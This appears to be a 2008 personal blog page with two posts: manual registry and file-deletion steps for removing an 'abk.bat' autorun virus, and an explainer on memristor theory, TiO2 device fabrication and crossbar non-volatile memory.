
Saturday, November 22, 2008

How to remove abk.bat virus

Goto start>run>regedit
delete the entry
HKCU\Software\Microsoft\Windows\CurrentVersion\Run kamsoft
then reboot to another os preferably linux or to same system
delete all autorun.inf files made by the abk.bat infection
delete all abk.bats from all drives.
We cannot see the file unless we make all hidden files unhidden.
To enable the folder options >view>show hidden files and folders radiobutton
goto HKlocal machine>software>microsoft>windows>current version>explorer>advanced>folder>hidden>showall>click on checkedvalue and make its value 1
Then untick the hide protected os files in folderoptions >view
now the abk.bat files will be visible delete all of then including autorun.inf

Friday, November 14, 2008

Ultra dense non volatile memories using memristors

The memristor was first proposed by a scientist named LEON O.CHUA in 1971 as a fourth fundamental circuit element. The existence of such an element was mathematically proved and the theoretical properties were predicted using mathematical equations. But it was only in April 2008 the scientists were able to came up with a physical model to prove it.
Why the name memristor
By definition a memristor is characterized by a relation of the type g(Ψ, q)=O. It is said to be charge-controlled (flux-controlled) if this relation can be expressed as a single valued function of the charge q (flux-linkage Ψ). The voltage across a charge-controlled memristor is given by

v(t) = M(q(t)) . i(t)
where

M(q) = d Ψ(q)/dq.

Since M(q) has the unit of resistance, it will henceforth be called the incremental memristance. The value of the incremental memristance at any time to depends upon the time integral of the memristor current (voltage) from t = - ∞ to t= to. Hence, while the memristor behaves like an ordinary resistor at a given instant of time to, its resistance) depends on the complete past history of the memristor current. The memory property of the memristor arises from this fact. It is interesting to observe that once the memristor voltage v(t) or current i(t) is specified, the memristor behaves like a linear time-varying resistor.

Thus while behaving like an ordinary resistor at any given instant of time t0, its resistance depends on the complete past history of the memristor current. Thus memristor is basically a charge dependent resistor. Since memristance is a function of charge which is the time integral of current, the memristor behaves like a nonlinear resistor. The equation v(t) = M(q) . i(t) gives linear relationship only when M(q) is constant. Constant M(q) means charge does not vary with time. But a nonzero current results in instantaneously varying charge. Thus M(q) results in a nonlinear relationship. Thus memristor has meaning only in nonlinear ckt.
Device structure and fabrication


Single-crystalline TiO2 was used to elucidate how the metal/oxide interfaces control the device resistance. As shown in Fig. 1a, a single crystal of rutile TiO2 (bandgap Eg =3.0 eV) was first annealed in a 95% N2 and 5% H2 gas mixture at 550 °C for 2 h to create an oxygen-deficient layer near the surface. Oxygen vacancies in TiO2 are known to act as n-type dopants, transforming the insulating oxide into an electrically conductive doped semiconductor. Metal/semiconductor contacts are typically ohmic in the case of very heavy doping, and rectifying (Schottky-like) in the case of low doping. Two pairs of 100 µm x 100 µm Pt and Ti electrode contact pads were deposited onto the single crystal, as shown schematically in Fig. 1a: pads 1 and 4 were Pt films (80 nm thick) and pads 2 and 3 were Ti films (5 nm thick) with Pt (80 nm thick) caps. The 5-nm Ti layer was used as a chemically reactive contact to further reduce the TiO2 and create a locally high concentration of oxygen vacancies close to the metal/ semiconductor interface. These two regions showed an ohmic contact with resistance ~ 40Ω, showing that the bulk resistance of the annealed single crystal was low. In contrast, the electrical resistance between the two chemically unreactive Pt contact pads 1 and 4 was four orders of magnitude higher than the others.


Memory Storage

The bipolar switching behavior of the nanoscale metal/metal oxide/metal memristors can be used to develop resistive non volatile RAMs (Re-NVRAMs). The researches and experiments are indicating that the memristor based Re- NVRAMs will be faster than the evolving memory technologies like MRAM, PCRAM etc and 100x times faster than flash memory. Also the scientists at HP have created an ultra high density crossbar switches, which use thin film memristors to pack a record 100Gbits per cm² in a single die compared to the 16Gbits for the highest density flash memory chips extant. The memristors made by HP are very small about 15nm.

HP memristor based RRAMs will be using the crossbar architecture. Metal lines spaced less than 50-nm apart will serve as the bottom electrodes with the top electrodes patterned from metal lines arranged perpendicular to the bottom lines into a crossbar switch. In between the metal lines twin layers of titanium dioxide is sandwiched --one doped with oxygen vacancies and the other undoped. Running current between two metal lines--one on the top and one on the bottom--the device will be able to address individual bit cells, changing their resistance and thus turning bits on and off.

Ø Reading: The reading operation can be performed simply by applying a voltage lower than the threshold voltage. If the memristor is on then it will conduct even at the threshold voltage. If off it will not conduct. Thus binary data can be read.

Ø Writing: The writing operation can be performed by applying a voltage greater than the threshold voltage to write 0( or 1 depending upon the configuration) by making the memristor ON. To write a 1 (or 0) a voltage of opposite polarity whose magnitude is greater than the threshold voltage is applied which turns the memristor OFF.

Ø Addressing: Metal lines are arranged in two layers like rows and columns which are perpendicular with the other and are separated by the thin semiconductor film. Running current between the metal lines- one on the top and one on the bottom- the device will be able to access individual bit cells, changing their resistance and thus turning bits ON and OFF.

Advantages of Memristive memory

Ø For the memristor based memories there is no need of refreshing the data as in the case of today’s DRAMs. This could drastically reduce the power consumption.

Ø The inductive and capacitive effects associated with the memristors are negligible. This eliminates the delays due to charging time, storage time, discharging time.

Ø The memristive behavior and speed is inversely proportional to the square of device size. So scaling down increases the performance by great extent.

Ø The memristors can packed at a very large density than transistors. 15nm memristors are made which can hold 100Gbits/cm². Even at 4nm, a square centimeter of memristor can hold one terabit ie 10¹² bits/cm².

Ø Analog data storage is possible under controlled operation.